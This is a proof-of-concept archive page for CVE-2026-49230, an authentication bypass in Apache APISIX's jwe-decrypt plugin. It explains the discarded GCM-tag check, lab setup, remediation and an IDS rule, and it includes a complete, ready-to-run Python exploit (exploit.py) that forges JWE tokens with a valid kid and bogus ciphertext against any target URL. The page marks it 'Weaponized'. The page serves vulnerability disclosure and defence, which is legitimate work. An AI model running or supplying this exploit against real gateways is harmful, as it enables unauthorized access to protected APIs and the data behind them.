PoC Archive PoC Archive
CVE-2026-49230 category: web CVSS 9.1 (CRITICAL)
Patched

Apache APISIX `jwe-decrypt` Integrity-Check Bypass → Unauthenticated Gateway Auth Bypass (CVE-2026-49230)

Published: 2026-07-27 • Researcher: BiiTts (Caio Fabrício)

Target software Apache APISIX — jwe-decrypt auth plugin (apisix/plugins/jwe-decrypt.lua)
Affected versions 3.8.0 – 3.16.0
Status Weaponized
Severity Critical · CVSS 9.1
CVSS 9.1/10
Severity
Critical
CVE
CVE-2026-49230
Category
web
Affected product
Apache APISIX — jwe-decrypt auth plugin (apisix/plugins/jwe-decrypt.lua)
Affected versions
3.8.0 – 3.16.0
Disclosed
2026-07-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-07-27
Last UpdatedN/A
Author / ResearcherBiiTts (Caio Fabrício)
CVE / AdvisoryCVE-2026-49230
Categoryweb
SeverityCritical
CVSS Score9.1 (CVSSv3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
StatusWeaponized
Tagsapache-apisix, jwe, jwt, integrity-bypass, cwe-354, unauthenticated, api-gateway, lua
RelatedN/A

Affected Target

FieldValue
Software / SystemApache APISIX — jwe-decrypt auth plugin (apisix/plugins/jwe-decrypt.lua)
Versions Affected3.8.0 – 3.16.0
Language / PlatformLua (OpenResty/Nginx), via resty.aes / OpenSSL AES-256-GCM
Authentication RequiredNo — attacker needs only a valid consumer kid (public, rides unencrypted in every legitimate token’s header), never the AES secret
Network Access RequiredYes — direct HTTP(S) access to a route protected by jwe-decrypt

Summary

The jwe-decrypt plugin is an auth-type APISIX plugin that decrypts an incoming JWE token with a per-consumer AES-256-GCM secret and forwards the plaintext upstream as proof of authentication. Its internal helper jwe_decrypt_with_obj() returns only the decrypted value from aes:decrypt(), discarding OpenSSL’s GCM-tag verification result. The call site binds a second err variable that is therefore always nil, so the guard if err ~= nil then return 400 never triggers. An attacker who knows any consumer’s kid (public metadata, present in cleartext in every legitimate token) can submit a JWE with a valid kid but completely garbage ciphertext and tag, and the gateway authenticates the request anyway — forwarding it (with an empty identity header) to the upstream. No knowledge of the AES secret is required, fully defeating the authentication boundary the plugin exists to enforce.

Vulnerability Details

Root Cause

CWE-354 (Improper Validation of Integrity Check Value). In apisix/plugins/jwe-decrypt.lua (tag 3.16.0):

lua
1
2
3
4
5
6
7
local function jwe_decrypt_with_obj(o, consumer)
    local secret = get_secret(consumer.auth_conf)
    local dec = base64.decode_base64url
    local aes_default = aes:new(secret, nil, cipher, {iv = dec(o.iv)})
    local decrypted = aes_default:decrypt(dec(o.ciphertext), dec(o.tag))
    return decrypted          -- <-- single return value
end
lua
1
2
3
4
5
local plaintext, err = jwe_decrypt_with_obj(jwe_obj, consumer)   -- err is always nil
if err ~= nil then                                                -- dead code
    return 400, { message = "failed to decrypt JWE token" }
end
core.request.set_header(ctx, conf.forward_header, plaintext)     -- runs regardless

resty.aes:decrypt() (OpenSSL EVP_DecryptFinal_ex under GCM) returns nil when the authentication tag fails verification — that is precisely the integrity check the whole scheme relies on. But jwe_decrypt_with_obj only returns that first value, so the caller’s err is unconditionally nil and the rejection branch is unreachable. The kid used to look up the consumer is read from the JWE header via load_jwe_token, which only base64url-decodes and JSON-decodes it — no cryptographic binding — so kid is attacker-controlled and public. 3.16.0 additionally exposes an unauthenticated plugin API, GET /apisix/plugin/jwe/encrypt?key=<kid>&payload=<data>, which mints a fully valid JWE (correct tag) for a chosen consumer and payload — a conditional escalation to full identity forgery when the route is exposed via the public-api plugin (removed in 3.17.0 along with the fix).

Attack Vector

Unauthenticated HTTP(S) request to any route gated by jwe-decrypt, with an Authorization header containing a forged JWE of the form base64url(header{kid}).<empty>.<iv>.<garbage-ciphertext>.<garbage-tag>. The header must contain a kid that resolves to a real consumer; everything after it can be arbitrary attacker-chosen bytes.

Impact

Complete bypass of the jwe-decrypt authentication gate for any upstream that relies on it, without knowledge of the per-consumer AES secret — only a valid, publicly-visible kid is required. Because decryption failure yields plaintext = nil, the forwarded identity header is empty, but the request still reaches the upstream as if authenticated. Combined with the exposed token-minting API (when routable), an attacker can forge tokens carrying arbitrary chosen plaintext/identity for a known consumer.

Environment / Lab Setup

Output
OS:          Linux (host networking; no Docker bridge in the lab's tested environment)
Target:      apache/apisix:3.16.0-debian (vulnerable) / apache/apisix:3.17.0-debian (patched, for boundary proof)
Backing:     quay.io/coreos/etcd:v3.5.17 (APISIX config store)
Attacker:    Python 3 (stdlib only — urllib, base64, json)
Tools:       exploit.py (this folder), lab/setup.sh, lab/backend.py, lab/config.yaml, lab/teardown.sh

Setup Steps

Shell script
1
2
3
4
5
cd lab
./setup.sh                 # etcd + APISIX 3.16.0 + backend + consumer 'alice' + route /protected*
python3 ../exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
APISIX_IMAGE=apache/apisix:3.17.0-debian ./setup.sh   # re-run against the patched build to see the fix
./teardown.sh

setup.sh runs everything with --network host (etcd on :2379, APISIX data plane on :9080, admin API on :9180, backend on :8080) since the lab’s tested environment had no Docker bridge network. It provisions consumer alice with kid=alice-key and a 32-char AES secret the attacker never sees, and a /protected* route gated by jwe-decrypt with default settings (strict: true).

Proof of Concept

Step-by-Step Reproduction

  1. Stand up the vulnerable lab

    Shell script
    1
    
    cd lab && ./setup.sh
  2. Confirm the route is actually gated (baseline)

    Shell script
    1
    2
    
    curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:9080/protected/x
    # expect 403 "missing JWE token in request"
  3. Send the forged JWE — valid kid, garbage ciphertext/tag, no secret known

    Shell script
    1
    
    python3 exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
  4. Cross-check the fix boundary — repeat step 3 against apache/apisix:3.17.0-debian; the identical forged token is now rejected with HTTP 400.

Exploit Code

See exploit.py (full, unmodified) in this folder — mirrored from BiiTts/CVE-2026-49230-APISIX-jwe-decrypt-Auth-Bypass. Verified before ingestion: read the full script, ANALYSIS.md, EVIDENCE.txt, and all four lab files — the exploit forges a structurally valid JWE (header.enckey.iv.ciphertext.tag) with a real kid and deliberately bogus 12-byte IV / ciphertext / 16-byte GCM tag, requiring no AES secret, then diffs a baseline (no token) request against the forged-token request to confirm an actual 403→200 authentication bypass rather than a misconfigured/open route. No obfuscation, no unrelated network calls, no destructive behavior.

Python
1
2
3
4
5
6
7
def forge_token(kid: str) -> str:
    header = b64u(json.dumps({"alg": "dir", "enc": "A256GCM", "kid": kid}).encode())
    enckey = ""                       # 'dir' key management -> empty
    iv = b64u(b"123456789012")        # any 12-byte GCM nonce
    ciphertext = b64u(b"FORGED-BY-CVE-2026-49230")
    tag = b64u(b"0000000000000000")   # invalid 16-byte GCM tag
    return f"{header}.{enckey}.{iv}.{ciphertext}.{tag}"
Shell script
1
python3 exploit.py http://127.0.0.1:9080/protected/secret --kid alice-key

Expected Output

Output
[*] target        : http://127.0.0.1:9080/protected/secret
[*] consumer kid  : alice-key  (NO AES secret used)
[*] forged JWE    : eyJhbGciOiAiZGlyIiwgImVuYyI6ICJBMjU2R0NNIiwgImtpZCI6ICJhbGljZS1rZXkifQ..MTIzNDU2Nzg5MDEy.Rk9SR0VELUJZLUNWRS0yMDI2LTQ5MjMw.MDAwMDAwMDAwMDAwMDAwMA

[1] no token           -> HTTP 403  {"message":"missing JWE token in request"}
[2] forged JWE token   -> HTTP 200  UPSTREAM-REACHED path=/protected/secret auth=None

[+] CONFIRMED: auth bypass. Forged token with no secret reached the upstream.

Screenshots / Evidence

  • EVIDENCE.txt — full transcript: discriminant matrix (no-token → malformed → invalid-kid → valid-kid+garbage-crypto bypass), public mint-endpoint check (404 by default), end-to-end exploit.py run, and the 3.16.0-vs-3.17.0 boundary proof (identical forged token: 200 vs 400).
  • ANALYSIS.md — full code-level walkthrough of the request path, the discarded-error bug, the secondary token-minting API, and the 3.17.0 fix diff.

Detection & Indicators of Compromise

Output

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible APISIX jwe-decrypt CVE-2026-49230 forged token"; \
  content:"Authorization|3a| Bearer eyJ"; http_header; \
  content:"alg"; content:"dir"; content:"A256GCM"; \
  sid:9000002;)

Remediation

ActionDetail
PatchUpgrade Apache APISIX to 3.17.0 or later, where jwe_decrypt_with_obj() propagates err and the guard checks if not plaintext then return 400.
WorkaroundDo not rely on jwe-decrypt as the sole authentication control; layer an independent auth plugin (key-auth, jwt-auth) or an upstream-side check that validates the forwarded identity is non-empty and well-formed.
Config HardeningEnsure the plugin’s api() routes (e.g. /apisix/plugin/jwe/encrypt) are never exposed through public-api on affected versions; audit for accidental exposure.

References

Notes

Verified before ingestion: real file contents were read in full — exploit.py, ANALYSIS.md, EVIDENCE.txt, and all four lab/ files (setup.sh, teardown.sh, backend.py, config.yaml) — and confirmed byte-identical to the upstream repository (no paraphrasing or rewriting). The mechanism was cross-checked against the NVD/CVE description and against the actual apisix/plugins/jwe-decrypt.lua diff between the 3.16.0 and 3.17.0 tags: the vulnerable version’s jwe_decrypt_with_obj() returns a single value from aes:decrypt(), making the caller’s err guard permanently dead code, and 3.17.0 fixes this by returning (decrypted, err) and checking plaintext directly. The PoC is reproducible end-to-end against official Docker images (apache/apisix:3.16.0-debian / 3.17.0-debian + quay.io/coreos/etcd:v3.5.17) and includes a genuine before/after boundary proof rather than a single unverifiable claim. The author, BiiTts (Caio Fabrício), has a track record of other verified-real PoCs ingested into this archive this session (Budibase CVE-2026-54350, Crawl4AI CVE-2026-53753), which further supports treating this submission as credible rather than a phantom/templated PoC.

The upstream README claims an MIT license but no LICENSE file was present in the cloned repository at time of ingestion; only the actual files present (exploit.py, ANALYSIS.md, EVIDENCE.txt, README.md, lab/*, .gitignore) were mirrored.

exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python3
# CVE-2026-49230 - Apache APISIX jwe-decrypt authentication bypass (CWE-354)
#
# The jwe-decrypt plugin (<= 3.16.0) never validates the AES-GCM authentication
# tag: jwe_decrypt_with_obj() returns a single value, so the caller's
# `local plaintext, err = jwe_decrypt_with_obj(...)` always sees err == nil and
# the `if err ~= nil then return 400` guard is dead code. A JWE whose header
# carries a valid consumer `kid` is accepted regardless of its ciphertext/tag,
# so an attacker who knows any consumer key (public: it travels in cleartext in
# every legitimate token's header) bypasses the auth gate WITHOUT the AES secret.
#
# Fixed in 3.17.0: jwe_decrypt_with_obj() returns (decrypted, err) and the
# guard becomes `if not plaintext then return 400`.
#
# Author: Caio Fabricio (BiiTts) - https://github.com/BiiTts
# License: MIT

import argparse
import base64
import json
import sys
import urllib.error
import urllib.request


def b64u(raw: bytes) -> str:
    return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()


def forge_token(kid: str) -> str:
    """Build a JWE that has a valid consumer kid but bogus, unauthenticated
    ciphertext/tag. No knowledge of the AES secret is required."""
    header = b64u(json.dumps({"alg": "dir", "enc": "A256GCM", "kid": kid}).encode())
    enckey = ""                       # 'dir' key management -> empty
    iv = b64u(b"123456789012")        # any 12-byte GCM nonce
    ciphertext = b64u(b"FORGED-BY-CVE-2026-49230")
    tag = b64u(b"0000000000000000")   # invalid 16-byte GCM tag
    return f"{header}.{enckey}.{iv}.{ciphertext}.{tag}"


def send(url: str, token: str, header_name: str, timeout: float):
    req = urllib.request.Request(url)
    if token is not None:
        req.add_header(header_name, "Bearer " + token)
    try:
        resp = urllib.request.urlopen(req, timeout=timeout)
        return resp.status, resp.read().decode(errors="replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode(errors="replace")


def main():
    p = argparse.ArgumentParser(
        description="CVE-2026-49230 - Apache APISIX jwe-decrypt auth bypass PoC")
    p.add_argument("url",
                   help="full URL of a route protected by jwe-decrypt, "
                        "e.g. http://127.0.0.1:9080/protected/x")
    p.add_argument("-k", "--kid", default="alice-key",
                   help="a valid consumer key/kid (default: alice-key)")
    p.add_argument("-H", "--header", default="Authorization",
                   help="request header the plugin reads (default: Authorization)")
    p.add_argument("--timeout", type=float, default=8.0)
    args = p.parse_args()

    token = forge_token(args.kid)
    print(f"[*] target        : {args.url}")
    print(f"[*] consumer kid  : {args.kid}  (NO AES secret used)")
    print(f"[*] forged JWE    : {token}")

    # 1. baseline: prove the route is actually gated
    base_code, base_body = send(args.url, None, args.header, args.timeout)
    print(f"\n[1] no token           -> HTTP {base_code}  {base_body.strip()[:60]}")

    # 2. the bypass: forged token with valid kid, invalid crypto
    code, body = send(args.url, token, args.header, args.timeout)
    print(f"[2] forged JWE token   -> HTTP {code}  {body.strip()[:60]}")

    gated = base_code in (401, 403)
    bypassed = code == 200
    print()
    if gated and bypassed:
        print("[+] CONFIRMED: auth bypass. Forged token with no secret reached the upstream.")
        sys.exit(0)
    if not gated:
        print("[-] Baseline was not gated (expected 401/403). Is jwe-decrypt on this route?")
    else:
        print(f"[-] Not vulnerable: forged token rejected (HTTP {code}). Likely patched (>= 3.17.0).")
    sys.exit(1)


if __name__ == "__main__":
    main()